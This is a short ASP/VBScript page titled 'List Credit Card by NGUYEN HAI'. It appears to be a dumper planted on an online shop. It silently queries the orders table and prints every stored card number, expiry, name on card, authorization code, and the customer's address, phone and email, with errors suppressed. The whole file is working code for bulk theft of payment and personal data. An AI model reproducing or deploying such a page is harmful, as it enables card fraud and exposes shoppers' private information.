<%@ Language=VBScript %>
List Credit Card by NGUYEN HAI
<%
Response.Buffer = TRUE
On error resume next
GetOrderInfo()
%>
<%
'------------------------------------------------------------------------------
Sub GetOrderInfo()
Openorderdb myconn
strSQL = "select * from orders"
Set orders = Server.CreateObject("ADODB.Recordset")
orders.open strSQL, myconn, adopenkeyset, adlockoptimistic
'--------------------------------------------------------------------------
Do Until orders.EOF
lngocustomerid = orders("orderid")
datodate = orders("odate")
strofirstname = orders("ofirstname")
strolastname = orders("olastname")
stroemail = orders("oemail")
stroaddress = orders("oaddress")
strocity = orders("ocity")
stropostcode = orders("opostcode")
strostate = orders("ostate")
strocountry = orders("ocountry")
strophone = orders("ophone")
strocardno = orders("ocardno")
strocardname = orders("ocardname")
strocardexpires = orders("ocardexpires")
strocardaddress = orders("ocardaddress")
stroauthorization=orders("oauthorization")
strocardtype = orders("ocardtype")
'temp=EnDecrypt(strocardno,"agabAhjBcG")
'strocardno=temp
'---------------------------------------------------------------------------
str_body = "Order # : " & lngocustomerid & "
"
str_body = str_body & "Order Date : " & datodate & "
"
str_body = str_body & "Payment Type : " & strocardtype & "
"
str_body = str_body & "Name on Card : " & strocardname & "
"
str_body = str_body & "Card Number : " & strocardno & "
"
str_body = str_body & "Card Expiration : " & strocardexpires & "
"
str_body = str_body & "Address on Card : " & strocardaddress & "
"
str_body = str_body & "Authorization : " & stroauthorization & "
"
str_body = str_body & "Full Name : " & strofirstname & " " & strolastname & "
"
str_body = str_body & "Address : " & stroaddress & "
"
str_body = str_body & "City,State,Zip : " & strocity & "," & strostate & "," & stropostcode & "
"
str_body = str_body & "Country : " & strocountry & "
"
str_body = str_body & "Phone Number : " & strophone & "
"
str_body = str_body & "Email : " & stroemail & "
"
str_body = str_body & "--------------------------------------------------------------" & "
"
Response.write str_body
orders.MoveNext
LOOP
End Sub
%>